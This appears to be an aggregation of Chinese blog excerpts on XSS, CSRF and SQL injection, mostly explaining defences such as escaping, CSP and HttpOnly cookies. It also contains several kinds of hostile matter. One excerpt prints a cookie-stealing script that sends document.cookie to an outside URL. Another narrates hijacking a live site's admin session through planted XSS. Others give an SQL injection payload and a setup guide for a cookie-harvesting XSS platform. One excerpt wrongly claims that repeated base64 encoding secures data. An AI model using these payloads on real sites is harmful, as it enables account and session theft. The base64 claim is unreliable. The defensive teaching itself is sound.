Function()，document.write()，document.writeln()，window.setInterval()，window.setTimeout()，innerHTML，document.createElement() 等可执行字符串的方法。如果做不到以上几点，也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。前端渲染的时候对任何的字段都需要做 escape 转义编码。_// 防御xss漏洞_ ...

一、概述Cross-site scripting，简称XSS，跨站脚本攻击。XSS是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它允许恶意用户将代码注入到网页上，其他用户在浏览网页的时候，就会受到影响。 二、反射型XSS - Reflected XSS用户在页面的输入，经过http请求发送到服务端，服务端处理后，把用户输入原封不到返回到浏览器，浏览器也没做处理直接把用户输入显示到页面种。 1 示例：代码 // 服务端(koa2)router.get('/search', async (ctx, next) => { let req = ctx.request ctx.state = { title: 'xss', word: req.query.word } ctx.body = req.query.word ? req.query.word : ''})详细讲解可点击

十年前，几行代码为黑客提供了100万个朋友，并获得了美联储的访问。 插图：SHAYE ANDERSON 萨米不想成为每个人的英雄。他甚至都不想要新朋友。 但是由于几行巧妙的代码，在不到一天的时间内，他成为了当时最流行的在线社交网络上超过一百万人的“英雄”和“朋友”，我的空间。 大约在2005年10月4日午夜，在洛杉矶，当时19岁的黑客Samy Kamkar释放了后来被称为“ Samy蠕虫”的病毒，它可能是传播速度最快的计算机病毒。一次，这种病毒永远改变了网络安全的世界。 Kamkar于16岁高中毕业，并在17岁时创立了一家名为Fonality的软件创业公司。他说，他只是想打动他的技术朋友，仅此而已。一切都在一周前开始，坎卡尔告诉我。当时，MySpace为用户提供了许多自定义配置文件的自由，从而允许使用HTML代码，这导致了色彩丰富，而且查看配置文件通常很麻烦。 “一旦我能够做到这一点，我意识到我实际上可以在页面上做任何事情。” 详细讲解可点击

今天的知识点 (2019.11.05) —— 第203天 (我也要出题)[html] canvas的width与height属性的值可不可以带单位？[css] height和line-height的区别是什么呢？[js] 你平时是怎么调试js的？会断点调试吗？断点调试有什么技巧呢？[软技能] 前端如何防止XSS攻击？《论语》，曾子曰：“吾日三省吾身”（我每天多次反省自己）。 前端面试每日3+1题，以面试题来驱动学习，每天进步一点！ 让努力成为一种习惯，让奋斗成为一种享受！相信 坚持 的力量！！！欢迎在 Issues 和朋友们一同讨论学习！ 项目地址：前端面试每日3+1 【推荐】欢迎跟 jsliang 一起折腾前端，系统整理前端知识，目前正在折腾 LeetCode，打算打通算法与数据结构的任督二脉。GitHub 地址 微信公众号欢迎大家前来讨论，如果觉得对你的学习有一定的帮助，欢迎点个Star, 同时欢迎微信扫码关注 前端剑解 公众号，并加入 “前端学习每日3+1” 微信群相互交流（点击公众号的菜单：进群交流）。 学习不打烊，充电加油只为遇到更好的自己，365天无节假日，每天早上5点纯手工发布面试题（死磕自己，愉悦大家）。希望大家在这浮夸的前端圈里，保持冷静，坚持每天花20分钟来学习与思考。在这千变万化，类库层出不穷的前端，建议大家不要等到找工作时，才狂刷题，提倡每日学习！（不忘初心，html、css、javascript才是基石！）欢迎大家到Issues交流，鼓励PR，感谢Star，大家有啥好的建议可以加我微信一起交流讨论！希望大家每日去学习与思考，这才达到来这里的目的！！！（不要为了谁而来，要为自己而来！）交流讨论欢迎大家前来讨论，如果觉得对你的学习有一定的帮助，欢迎点个[Star] https://github.com/haizlin/fe...

XSS跨站脚本攻击处理XSS：Cross Site Scripting跨站脚本攻击（XSS），是目前最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中，当正常用户访问该页面时，则可导致嵌入的恶意脚本代码的执行，从而达到恶意攻击用户的目的。处理方法将参数中的特殊字符进行转换例如 input参数值，用户输入为：<script>alert(1);</script>处理后为：&lt;script&gt;alert(1);&lt;/script&gt;后台处理pom.xml依赖使用 commons-text包中的StringEscapeUtils.escapeHtml4();方法<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-text</artifactId> <version>1.8</version></dependency>XssHttpServletRequestWrapper对HttpServletRequest 对象的请求参数进行处理public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { public XssHttpServletRequestWrapper(HttpServletRequest request) { super(request); } @Override public String getQueryString() { String value = super.getQueryString(); return StringEscapeUtils.escapeHtml4(value); } @Override public String getParameter(String name) { String value = super.getParameter(name); return StringEscapeUtils.escapeHtml4(value); } @Override public String[] getParameterValues(String name) { String[] values = super.getParameterValues(name); if (ArrayUtils.isEmpty(values)) { return values; } int length = values.length; String[] escapeValues = new String[length]; for (int i = 0; i < length; i++) { String value = values[i]; escapeValues[i] = StringEscapeUtils.escapeHtml4(value); } return escapeValues; }}XssFilter使用WebFilter注解，拦截所有请求，过滤请求参数@Slf4j@WebFilter(filterName = "xssFilter", urlPatterns = "/*", asyncSupported = true)public class XssFilter implements Filter { @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; XssHttpServletRequestWrapper xssHttpServletRequestWrapper = new XssHttpServletRequestWrapper(request); filterChain.doFilter(xssHttpServletRequestWrapper, servletResponse); }}启动类添加@ServletComponentScan注解扫描使用servlet注解的类，启用 XssFilter@ServletComponentScanJSON字符串请求参数处理实现Jackson反序列化方法，将参数值转义处理public class XssJacksonDeserializer extends JsonDeserializer<String> { @Override public String deserialize(JsonParser jsonParser, DeserializationContext deserializationContext) throws IOException, JsonProcessingException { return StringEscapeUtils.escapeHtml4(jsonParser.getText()); }}JSON字符串响应结果处理实现Jackson序列化方法，将参数值转义处理@Slf4jpublic class XssJacksonSerializer extends JsonSerializer<String> { @Override public void serialize(String s, JsonGenerator jsonGenerator, SerializerProvider serializerProvider) throws IOException { jsonGenerator.writeString(StringEscapeUtils.escapeHtml4(s)); }}重点，Jackson配置Xss@Configurationpublic class JacksonConfig implements WebMvcConfigurer { @Override public void extendMessageConverters(List<HttpMessageConverter<?>> converters) { // code... // XSS序列化 simpleModule.addSerializer(String.class, new XssJacksonSerializer()); simpleModule.addDeserializer(String.class, new XssJacksonDeserializer()); // code... }}总结实现字符串转义的核心方法：org.apache.commons.text.StringEscapeUtilsStringEscapeUtils.escapeHtml4();

窃取网页浏览中的cookie值下面的的 JavaScript 代码就可以窃取Cookie，是不是很简单？ <script> new Image().src = "http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);</script>如果我可以将这段代码插入到某个登陆用户的页面，则Cookie就会通过 HTTP 请求发送给我，然后我就可以伪造那个可怜的登陆用户了！ 在 IE 浏览器上，可以通过在 CSS 代码中执行 JavaScript 来窃取Cookie，也很简单。 <style>.getcookies{ background-image:url('javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie);');}</style><p class="getcookies"></p>如果你对用户发布的文本内容不进行严格的过滤的话，黑客就可以很方便地窃取Cookie。是不是很可怕？如果你是一个负责任的开发者的话，你就应该保持警惕！因此，你必须假设所有用户的Cookie都被窃取了。注意，是所有用户，对于这一点，我不想含糊其辞。 为了保证安全：请不停地重设session的重设；将过期时间设置短一些；监控referrer与userAgent的值；使用HttpOnly禁止脚本读取Cookie。这些措施并非万无一失，但是增加了黑客的难度，因此也是有效的。

CanMeng-Web安全渗透三周年啦! 因此推出一套全新渗透安全课程. 欢迎各位小伙伴们加入学习！ 本培训为私人中心 百度首页第一页排名第五 搜索首页第一页排名第九 有任何问题都可以联系我. CanMeng个人博客.知乎.简书.CSDN等平台 都会定时发布各类技术文章 欢迎各位订阅+关注，共同努力进步. 联系咨询Q1426470161 !

原文链接 预防XSS，这几招管用最近重温了一下「黑客帝国」系列电影，一攻一防实属精彩，生活中我们可能很少有机会触及那么深入的网络安全问题，但工作中请别忽略你身边的精彩 大家应该都听过 XSS (Cross-site scripting) 攻击问题，或多或少会有一些了解，但貌似很少有人将这个问题放在心上。一部分人是存有侥幸心理：“谁会无聊攻击我们的网站呢？”；另一部分人可能是工作职责所在，很少触碰这个话题。希望大家看过这篇文章之后能将问题重视起来，并有自己的解决方案, 目前XSS攻击问题依旧很严峻： Cross-site scripting（XSS）是Web应用程序中常见的一种计算机安全漏洞，XSS 使攻击者能够将客户端脚本注入其他用户查看的网页中。 攻击者可能会使用跨站点脚本漏洞绕过访问控制，例如同源策略。 截至2007年，Symantec（赛门铁克） 在网站上执行的跨站脚本占据了所有安全漏洞的 84％ 左右。2017年，XSS 仍被视为主要威胁载体，XSS 影响的范围从轻微的麻烦到重大的安全风险，影响范围的大小，取决于易受攻击的站点处理数据的敏感性方式以及站点所有者实施对数据处理的安全策略。XSS 类型的划分以及其他概念性的东西在此就不做过多说明，Wikipedia Cross-site scripting 说明的非常清晰，本文主要通过举例让读者看到 XSS 攻击的严重性，同时提供相应的解决方案 XSS 案例不喜欢看 XSS 案例的，请跳过此处，直接去看 解决方案 。Bob 和 Alice 两个人是经常用作案例（三次握手，SSH认证等）说明的，没错下面的这些案例也会让他们再上头条???? 案例一Alice 经常访问由 Bob 托管的特定网站, Bob 的网站允许 Alice 使用用户名/密码登陆后，存储敏感数据，例如账单信息。当用户登录时，浏览器会保留一个授权 Cookie，它看起来像一些垃圾字符，这样两台计算机（客户端和服务器）都有一条她已登录的记录。Mallory 观察到 Bob 的网站包含一个 XSS 漏洞: 当她访问“搜索”页面时，她会在搜索框中输入搜索词，然后单击“提交”按钮。使用普通的搜索查询，如单词“puppies”，页面只显示“找不到小狗相关内容”，网址为 http://bobssite.org/search?q=puppies 这是完全正常的行为。但是，当她提交异常搜索查询时，例如 <script type ='application / javascript'> alert（'xss'）; </ script> 出现一个警告框（表示“xss”）。该页面显示“未找到”，以及带有文本“xss”的错误消息。URL 是http://bobssite.org/search?q= <script％20type ='application / javascript'> alert（'xss'）; </ script> , 这是一个可利用的行为Mallory制作了一个利用此漏洞的URL： ...

web安全讲述确保您的 Web 站点或 Web 应用安全是十分重要的，即使是代码中很小的 bug 也可能导致隐私信息被泄露，黑客会尝试偷窃数据。这些文档提供信息帮助您使代码更安全。此处列出的面向 Web 安全的文章提供的信息可以帮助您保护站点及其代码免受攻击和数据窃取。 CSP内容安全策略xss跨站点脚本攻击CSRF 跨站点请求伪造CSP内容安全策略CSP 的主要目标是减少和报告 XSS 攻击 ，XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行，因为浏览器信任其内容来源，即使有的时候这些脚本并非来自于它本该来的地方。 CSP通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件，忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。 Content-Security-Policy: policy 一个网站管理者允许网页应用的用户在他们自己的内容中包含来自任何源的图片, 但是限制音频或视频需从信任的资源提供者(获得)，所有脚本必须从特定主机服务器获取可信的代码, 启用发送违规报告，你需要指定 report-uri 策略指令，并提供至少一个URI地址去递交报告： Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com; report-uri http://reportcollector.example.com/collector.cgi xss跨站点脚本攻击跨站脚本攻击Cross-site scripting (XSS，为了不和CSS重名)是一种安全漏洞，攻击者利用这种漏洞可以在客户端注入恶意代码，可以完成获取cookie、session的读取，还可以利用脚本串改HTML内容，引导用户进入第三方恶意站点，主要表现就是： 将一些隐私数据像cookie、session发送给攻击者，将受害者重定向到一个由攻击者控制的网站，在受害者的机器上进行一些恶意操作。目前常见的分类包括了： 存储型【永久型】：包括了服务端的操作反射型：有服务端的参与DOM型：纯客户端的攻击存储型【持久型】主要是表现在客户端的输入内容【博客内容、表单提交、富文本编辑等】提交到服务端，被服务端保存，并在返回到客户端进行展示；如果其中含有恶意脚本<script>alert(‘我是存储型XSS攻击')</script>，并被客户端插入到文档流中，那么恶意脚本会被执行，恶意脚本可以完成读取隐私数据、重定向、修改页面展示结构等操作。 反射型【非持久型】反射型 XSS 只是简单地把用户输入的数据 “反射” 给浏览器，这种攻击方式往往需要攻击者诱使用户点击一个恶意链接，或者提交一个表单时，恶意链接中的而已脚本参数或者表单提交的恶意脚本经过服务端的关联，注入到了当前访问的文档流中，恶意脚本被执行，和存储型一样，恶意脚本都可以完成读取隐私数据、重定向、修改页面展示结构等操作。 基于DOM型这是一种纯客户端的攻击，客户端在处理页面地址链接时将恶意脚本注入到了正常文档流中，或者是编辑富文本的时候将它处赋值的含有恶意脚本的富文本插入到了文档流中，导致恶意脚本的执行。同样可以完成读取隐私数据、重定向、修改页面展示结构等操作。 防范xss保证隐私数据的安全性，添加cookie时，设置 Secure; HttpOnly，仅支持https连接和脚本无法读取。Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly处理任何用户端的输入用户端的自定义输入是完全无法保证的，所以需要进行处理，包括特殊字符的转译和限制长度等。服务端的数据转译如果服务端的数据遭到了存储型攻击，那么就需要对服务端的数据进行必要的转译编码，CSRF 跨站点请求伪造跨站请求伪造（CSRF）是一种冒充受信任用户，向服务器发送非预期请求的攻击方式。例如，这些非预期请求可能是通过在跳转链接后的 URL 中加入恶意参数来完成:<img src="https://www.example.com/index.php?action=delete&id=123">对于在 https://www.example.com 有权限的用户，这个 <img> 标签会在他们根本注意不到的情况下对 https://www.example.com 执行这个操作，即使这个标签根本不在 https://www.example.com 内亦可。 ...

前言最近在逛小程序，其中发现一个小程序是申请用户信息后自动在某站注册账号。于是便去网站看了下，WOW！好多输入框~就顺手试了下xss。 找到XSS漏洞本着学习交流的目的，用颤巍巍的手指在用户名称的输入框里输下了如下代码：<script>alert(1)</script>emm...没反应，内心一阵失落，并没有预期中那样弹出个框来，叹了口气。但是，好歹是个程序猿，不能轻言放弃。便找了一些xss变异代码进行测试：</textarea><img onerror="alert(1)" src='1'>WOW！棒呆呆！ 进一步利用XSS漏洞当时我在想，他的小程序是有充值功能的。管理员或者财务肯定会没事儿看一下今天有没有消费呀~有哪些新用户充值了呀~那不如~刷两笔充值的单子，然后在用户名称中植入xss，姜太公钓鱼愿者上钩。便从搜索引擎找了几家带https的xss平台，勾选个能获取cookie的模块： Two(第) years(二) later(天)...鱼儿上钩~成功拿到用户名和cookie，那么挂代理，开发者工具，Application，修改Cookies，刷新页面。 真的幸运头一次利用xss干一些事情，很舒服。可惜的是后台和用户中心是共用的，并没有找到上传文件等再利用的地方。只能充个小钱啥的~ 漏洞提交已反馈给相关管理员进行修复。 结束语做开发的，安全防范意识一定要有啊！

常见漏洞 看到上图的漏洞是不是特别熟悉，如果不进行及时防御，就会产生蝴蝶效应。 往下看，可能会找到你要的答案。 SQL注入攻击定义SQL注入攻击是通过WEB表单提交，在URL参数提交或Cookie参数提交，将怀有恶意的“字符串”，提交给后台数据库，欺骗服务器执行恶意的SQL语句。 案例//以用户登录为例，当验证用户名和密码是否正确时$sql = "SELECT * FROM user WHERE username = '".$_GET['username']."' AND password = '".$_GET['password']."'";用户恶意输入： $_GET['username'] = "' or 1=1 -- '";$_GET['password'] = "123456";注入后的Sql语句： $sql = "SELECT * FROM user WHERE username = '' or 1=1 -- ''AND password = '123456'";执行注入后的Sql语句，可以返回 user 表的全部数据。 平时我们可以进行自测，比如使用单引号、双引号，如果是数字进行+1或-1。 SQL注入的危害很大，利用SQL注入可以进行，拖库、删库、删表、UDF提权、读取文件、... 推荐一个开源的自动化的SQL注入工具。 SQLmap：http://sqlmap.org/ 支持各种数据库管理系统（MySql、Oracle、SQL Server、SQLite ... ）。支持自动识别密码哈希格式并通过字典破解密码哈希。支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。支持完全地下载某个数据库中的某个表、某个列。支持在数据库管理系统中搜索指定的数据库名、表名或列名。支持下载或上传文件。支持执行任意命令并回现标准输出。支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。尝试着利用工具，注入自己的项目，发现问题，然后解决问题。 SQL注入的危害，远比我们想象的要大！ 防御推荐解决方案是使用 PDO 或 MySQLi 的数据库扩展。 PHP官方文档中介绍，MySQL扩展自PHP 5.5.0起已废弃，并在自PHP7.0.0开始被移除。 如果已经在用MySQL扩展了，可以对传入的每个参数做验证，并使用框架的ORM进行查询。 另外：addslashes 和 mysql_real_escape_string 这种转义是不安全的！ ...

前端最基础的就是 HTML+CSS+Javascript。掌握了这三门技术就算入门，但也仅仅是入门，现在前端开发的定义已经远远不止这些。前端小课堂（HTML/CSS/JS），本着提升技术水平，打牢基础知识的中心思想，我们开课啦（每周四）。 这块内容是在会后又加了一节（老板说要处理这块内容）。之前其实就做过一期这样的内容XSS_跨站脚本攻击 我们要讲什么？xss 是什么？攻击原理是什么？危害预防手段是什么？web 安全还有什么是需要注意的XSS 是什么？XSS 攻击全称跨站脚本攻击 (Cross Site Scripting)，是为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆，故将跨站脚本攻击缩写为 XSS，XSS 是一种在web应用中的计算机安全漏洞，它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中。 XSS 攻击原理恶意攻击者往 Web 页面里插入恶意 javascript 代码。当其他用户浏览该页面时，嵌入的代码会被执行，从而达到恶意攻击用户的目的。 XSS 危害常见于一些私人的博客，攻击者恶意评论，弹出alert，这种充其量也就是一个玩笑。 但是如果是盗窃cookie，异常提交请求，这些就属于危险操作。cookie可以用来伪装成其他用户操作，有可能就会造成财产上的损失。 预防手段首先我们来分析他攻击方式，在其他用户端执行了一段异常代码，那么我们不执行不就好了吗？ 富文本情况，这个可属于重灾区，因为你不确定内容是什么，你还要原样输出。业界方案一般来说是白名单，比如说 <script> 标签都过滤，一些时间都过滤比如<img onerror=，从而达到预防攻击的目的。服务端直出情况，比如说一些模板引擎啊什么的，我们公司用的是 velocity和freemark。这个位置又分为三个方法 toHtml，首先所有内容都是直出到页面，先经过html解析。这个位置要预防<script>等一些注入的情况toJS，有可能有一些内容是输出在了 script 标签内，这个时候我们要注意他是不是"、'、</script>等，故意破坏数据的。toURL，这个就是判断存在不存在javascript:alert();的情况了。页面 innerHTML 或者 write。这个怎么说呢，Vue 或者一些框架是没问题的，因为他们是插槽法，而不是拼接法。 toHtml，主要用于 jquery ，处理一些字符变成实体编码toURL,也是用来判断javascript:alert();的情况web 安全问题XSS、CSRF、arp、xff、中间人攻击、运营商劫持、防暴刷 CSRF 一般来说就是页面直出一个token,每次请求都带上token。劫持 https有的时候运营商的劫持还是没办法。刷，这个略坑。参考代码 参考文献以及资料Web安全学习笔记也是当初在网上找资料发现的。介绍的挺全面的。

XSS定义：Cross site本网站运行了来自其他网站的代码数据变成了程序XSS实例:页面上输出query参数页面上显示搜索框脚本引入外部js资源富文本 - 写日志 - 富文本 - 塞入的 - 加入scrpit在线商城 - 订单信息input消息的填写 - 订单信息流入后台 - 获取后台的管理员信息和后台地址XSS危害：获取页面数据获取cookie document.cookie劫持前端逻辑发送请求攻击分类：XSS攻击点：包含用户输入行为HTML节点内容1.HTML属性 红框内为输入内容，导致属性标签闭合 添加了新的属性2.javascript代码 - 强制标签闭合 - 搜索3.富文本：富文本自带HTML防御方法1.浏览器自带 X-XSS-Protection 取值： 0关闭 1默认(开启) 1后面带参数 - 拦截后自动发送到该网址上 限制：只拦截反射类型注入 - 只对HTML属性和节点内容有用demo（koa）2.HTML节点内容/属性 - 转义成HTML实体不被浏览器解析正常显示< > 内容“ ‘ 是属性3.javascript代码JSON.stringfy - 所有的单引号/双引号都会被转义4.富文本 黑名单 - 正则替换 - 因为变形有很多，只能阻挡一部分 白名单 - 在白名单的HTML允许写入 - 实现复杂 - 把html解析成树状结构 - 依次分析过滤每个节点的name,attr，过滤掉不在白名单内的属性和tag 使用npm包 - xss自动实现 https://www.npmjs.com/package/xss5.csp - http的头content security policy内容安全策略，用于指定哪些内容可执行类型Child-src 页面子内容 iframeConnect-src ajaxDefault-src fallback 所有的内容Font-srcFrame-srcImg-srcManifest-src webappMedia-src audio/videoObject-src 插件Script-src Style-srcWorker-src serviceWorker配置选项 - 那些可信任那些不可信任<host-source> 主机域名<scheme-source> 协议Self 同域 - 引入的资源Unsafe-inline 直接插入页面的内容Unsafe-eval none 不信任任何内容 Nonce-<base64-value> 指定一次性凭证 凭证匹配时可执行<hash-source>Stric-dynamic 引入的后续网址是否demo没有指定的全部不信任,只信任同源的引入文件，对于直接插入的不信任CSRF ...

一、随着前端的快速发展，各种技术不断更新，但是前端的安全问题也值得我们重视，不要等到项目上线之后才去重视安全问题，到时候被黑客攻击的时候一切都太晚了。二、本文将讲述前端的六大安全问题，是平常比较常见的安全问题，当然如果还有其他必要重要的安全问题大家可以帮忙补充：1、XSS（Cross-Site Scripting）脚本攻击漏洞；2、CSRF（Cross-sit request forgery）漏洞；3、iframe安全隐患问题；4、本地存储数据问题；5、第三方依赖的安全性问题；6.HTTPS加密传输数据；下面将对这些问题进行分享说明。三、XSS（Cross-Site Scripting）脚本攻击漏洞XSS是前端谈论最多的安全问题，是通过在你的输入文本当中或者这HTML标签当中插入js脚本进行攻击，比如会在你的a标签或者img标签之前插入一些脚本文件就能攻击到你的网站，所有在用HTML去切入到div的时候一定要注意，或者长串的字符串嵌入到a标签的时候。解决办法：1：如果要使用HTML进行转换内容的时候，写代码时改为innerText而不用innerHTML，或者把<script><iframe>等标签替换掉； var HtmlUtil = { /1.用浏览器内部转换器实现html转码/ htmlEncode:function (html){ //1.首先动态创建一个容器标签元素，如DIV var temp = document.createElement (“div”); //2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐，google支持) (temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html); //3.最后返回这个元素的innerHTML，即得到经过HTML编码转换的字符串了 var output = temp.innerHTML; temp = null; return output; }, /2.用浏览器内部转换器实现html解码/ htmlDecode:function (text){ //1.首先动态创建一个容器标签元素，如DIV var temp = document.createElement(“div”); //2.然后将要转换的字符串设置为这个元素的innerHTML(ie，火狐，google都支持) temp.innerHTML = text; //3.最后返回这个元素的innerText(ie支持)或者textContent(火狐，google支持)，即得到经过HTML解码的字符串了。 var output = temp.innerText || temp.textContent; temp = null; return output; } };2.对一些切入标签的字符串进行转义：var HtmlUtil = { /1.用正则表达式实现html转码/ htmlEncodeByRegExp:function (str){ var s = “”; if(str.length == 0) return “”; s = str.replace(/&/g,"&amp;"); s = s.replace(/</g,"&lt;"); s = s.replace(/>/g,"&gt;"); s = s.replace(/ /g,"&nbsp;"); s = s.replace(/'/g,"&#39;"); s = s.replace(/"/g,"&quot;"); return s; }, /2.用正则表达式实现html解码/ htmlDecodeByRegExp:function (str){ var s = “”; if(str.length == 0) return “”; s = str.replace(/&amp;/g,"&"); s = s.replace(/&lt;/g,"<"); s = s.replace(/&gt;/g,">"); s = s.replace(/&nbsp;/g," “); s = s.replace(/&#39;/g,”'"); s = s.replace(/&quot;/g,"""); return s; } };四、CSRF（Cross-sit request forgery）漏洞CSRF也称为跨站请求伪造，其实就是对网站中的一些表单提交行为被黑客利用。比如你的网站登录的时候存到cookie的一些个人信息，当你访问黑客的网站有一段相同代码隐藏div，但你点击的时候就会导致你的网站被登出或者被登录，就是在对别的网站就行操作的时候会对你之前访问的网站发送请求。解决办法：1.增加token验证.因为cookie发送请求的时候会自动增加上，但是token却不会，这样就避免了攻击2.Referer验证。页面来源的判断五、iframe安全隐患问题有时候前端页面为了显示别人的网站或者一些组件的时候，就用iframe来引入进来，比如嵌入一些广告等等。但是有些iframe安全性我们无法去评估测试，有时候会携带一些第三方的插件啊，或者嵌入了一下不安全的脚本啊，这些都是值得我们去考虑的。解决办法：1.使用安全的网站进行嵌入；2.在iframe添加一个叫sandbox的属性，浏览器会对iframe内容进行严格的控制，详细了解可以看看相关的API接口文档。六、本地存储数据问题很多开发者为了方便，把一些个人信息不经加密直接存到本地或者cookie，这样是非常不安全的，黑客们可以很容易就拿到用户的信息，所有在放到cookie中的信息或者localStorage里的信息要进行加密，加密可以自己定义一些加密方法或者网上寻找一些加密的插件，或者用base64进行多次加密然后再多次解码，这样就比较安全了。七、第三方依赖安全隐患现如今的项目开发，很多都喜欢用别人写好的框架，为了方便快捷，很快的就搭建起项目，自己写的代码不到20%，过多的用第三方依赖或者插件，一方面会影响性能问题，另一方面第三方的依赖或者插件存在很多安全性问题，也会存在这样那样的漏洞，所以使用起来得谨慎。解决办法：手动去检查那些依赖的安全性问题基本是不可能的，最好是利用一些自动化的工具进行扫描过后再用，比如NSP(Node Security Platform)，Snyk等等。八、HTTPS加密传输数据在浏览器对服务器访问或者请求的过程中，会经过很多的协议或者步骤，当其中的某一步被黑客拦截的时候，如果信息没有加密，就会很容易被盗取。所以接口请求以及网站部署等最好进行HTTPS加密，这样防止被人盗取数据。前端安全问题先分享到这里，后续再慢慢补充，喜欢的可以点关注，谢谢！ ...

开年遇到的第一个问题就是解决XSS攻击>_<,可见要时刻保证网站的安全性至关重要。做好网站安全，不仅维护网站的稳定性，更保证用户数据的一致性。对此，总结一下笔者在工作中遇到的安全问题以及防御方法。前端中常见的两种网站应用安全漏洞攻击的方式是 XSS 与 CSRF,本文详细介绍两种攻击方式的概念、原理以及防御方式。XSSXSS(Cross-site scripting)跨站脚本攻击是恶意用户在网站中注入的脚本，当正常用户打开网站时受到影响并可能获取用户cookie等信息一种安全攻击行为。常见的例子是用户进入某个网站的时候一直弹出alert框等。常见的 XSS 方式分为两类：持久性和非持久性，也有机构将其分为传统型(由服务器端代码缺陷引起)和基于 DOM 型（有客户端引起）。下面介绍三种类型：反射型 反射型跨站脚本攻击最常见的方式是客户端输入查询信息，服务器端将其返回并且显示在页面上造成攻击。如直出页面，后面根据参数查询返回对应的查询信息和结果。或者用户在input输入框中进行查询等,值得注意的是，使用 innerHTML 插入 <script>alert(document.cooke)</script 并不会执行 script 中的代码，需要构造对应事件触发。如： <img src=“xxx.jpg” width=“0” height=“0” border=“0” onload=“javascript:alert(document.cookie);">存储型存储型与反射型 XSS 攻击的区别在于是否存储在数据库中，如用户写博客和评论等，这种方式的影响是持久的。基于 DOM恶意用户构造的脚本并不会经过服务器端，完全发生在客服端，如通过链接（?userName=<img onload=“javascript:alert(document.cookie)”/>）的查询参数来显示用户名等。针对 XSS 攻击，经常有以下两个方式来进行防御：设置重要的cookie信息为 httpOnly 对于重要的 cookie字段，如：可以通过 cookie 某个字段和某个接口获取好友关系的，需要将其设置为 httpOnly,使得恶意用户无法获取。对输入进行检测和转义 对用户输入的或者从链接获取参数需要展示到页面中需要校验合法性和使用转义函数进行转义，如常见的函数如下：function escHTML(str) { if (!str) return ‘’; return str.replace(/&/g, ‘&amp;’) .replace(/</g, ‘&lt;’) .replace(/>/g, ‘&gt;’) .replace(/x27/g, ‘&#039;’) .replace(/x22/g,’&quto;’);}CSRFCSRF(Cross-site request forgery)是一种攻击，迫使用户在受信任网站上执行不需要的一些操作。具体过程如下：用户向信任站点如example.com发送请求用户验证通过、获得信任站点的身份信息，并放入cookie中，用户此时可以在站内进行其他请求;用户未退出登录example.com,然后访问hack.com网站，该网站返回攻击性代码并且在页面中存在访问example.com的请求;浏览器在用户可能不知情的情况下向example.com发送请求;由于同域名可以带上cookie信息，因此信息认证通过，请求伪造成。针对 CSRF 攻击，常用的防御方式如下：检测请求来源 在请求头中有一个refree字段，refree记录了发送请求的域名，比如：hack.com向example.com中发送请求，那么refree就为hack.com，只要在处理请求中做相应的校验就可以中断请求。加入token校验 crsf之所以能够伪造请求成功，其原因之一在于所有的用户信息放于cookie中；因此可以在每次请求中加入token，然后后台进行校验，如果校验通过则进行处理。生成token方式之一如下：function getToken (token) { var str = token || ‘’; var hash = 5381; for (var i = 0, len = str.length; i < len; ++i) { hash += (hash << 5) + str.charCodeAt(i); } return hash & 0x7fffffff;}具体攻击示例点击查看 ...

一、背景XSS Platform 是一个非常经典的XSS渗透测试管理系统，原作者在2011年所开发，由于后来长时间没有人维护，导致目前在PHP7环境下无法运行。笔者最近花了一点时间将源码移植到了PHP7环境中，同时增加安装功能；另外还修复之前的代码的一些不严谨语法的问题，并调整了一些表单的样式，同时将源代码放到GitHub当中，给有需要的同行研究，为了简化安装步骤，特意写一篇文章来帮助大家。二、操作概要源码下载安装配置攻击测试三、下载源码github地址:https://github.com/78778443/xssplatform首先通过cd命令将代码放到指定位置，参考命令如下cd /Users/song/mycode/safe/之后通过git下载源码，参考命令如下:git clone https://github.com/78778443/xssplatform.git四、安装配置4.1 增加虚拟主机XSS Platform 需要在根目录中运行，因此需要单独添加一个虚拟主机，笔者以nginx环境为例，配置虚拟主机的配置代码如下所示:server { listen 80; server_name xss.localhost; root /Users/song/mycode/safe/xssplatform/; rewrite “^/([0-9a-zA-Z]{6})$” /index.php?do=code&urlKey=$1 last; rewrite “^/do/auth/(\w+?)(/domain/([\w.]+?))?$” /index.php?do=do&auth=$1&domain=$3 last; rewrite “^/register/(.?)$” /index.php?do=register&key=$1 last; rewrite “^/register-validate/(.?)$” /index.php?do=register&act=validate&key=$1 last; location / { index index.html index.htm index.php; } location ~ .php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; }}修改配置文件后，需要重启nginx让其配置生效，重启命令参考如下:nginx -s reload4.2 添加HOST记录hosts文件位置是/etc/hosts，通过vim命令进行编辑，参考命令如下所示:vim /etc/hosts在文件中添加一行记录，内容如下所示：127.0.0.1 xss.localhost4.3 系统安装通过前面添加虚拟主机和添加host解析之后，便可以通过浏览器访问此平台，URL地址为http://xss.localhost/,打开后会自动跳转到安装界面，如下图所示点击 我同意此协议按钮之后，将跳转到第二步的填写配置信息界面，在此界面需要填写数据库信息，和管理员账号信息，如下图所示如果数据库信息填写无误，将会看到导入数据成功的提，如下图所示此时便代表安装成功4.4 功能简介先来熟悉一些XSS 